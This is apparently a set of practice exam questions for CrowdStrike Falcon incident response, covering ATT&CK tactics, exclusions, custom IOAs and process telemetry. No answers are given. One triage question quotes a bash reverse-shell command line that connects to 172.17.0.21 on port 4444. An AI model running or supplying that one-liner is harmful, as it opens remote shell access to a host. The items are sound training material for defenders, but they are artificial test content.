Which of the following is an example of a MITRE ATT AND CK tactic?
The function of Machine Learning Exclusions is to___________.
What is an advantage of using a Process Timeline?
While investigating a detection, how can you identify all other processes that may have run on the host around the time of an event?
Which of the following statements about the ' Detection Activity ' report is FALSE?
When an organization needs to detect a specific behavior that is unique to their environment, they can create a Custom IOA. Which of the following is NOT required when configuring a custom IOA from scratch?
How does a DNSRequest event link to its responsible process?
CrowdStrike implements a specific framework within the Falcon console to help responders categorize detections based on the adversary’s ultimate goals and the technical means used to achieve them. This classification system, which maps activity to known industry standards, is known as the:
Refer to the image.
Command line:
/bin/bash -c sh -i > & /dev/tcp/172.17.0.21/4444 0 > & 1
File path:
/bin/bash
You receive a detection on the Bash process indicating the command line in the image above.
Based on the command line, what is the next step you should take?
When training a new team member on how to interpret Falcon telemetry, a senior responder explains the definition of a ' Tactic ' . Which of the following sentences best captures the technical definition of a Tactic in this context?
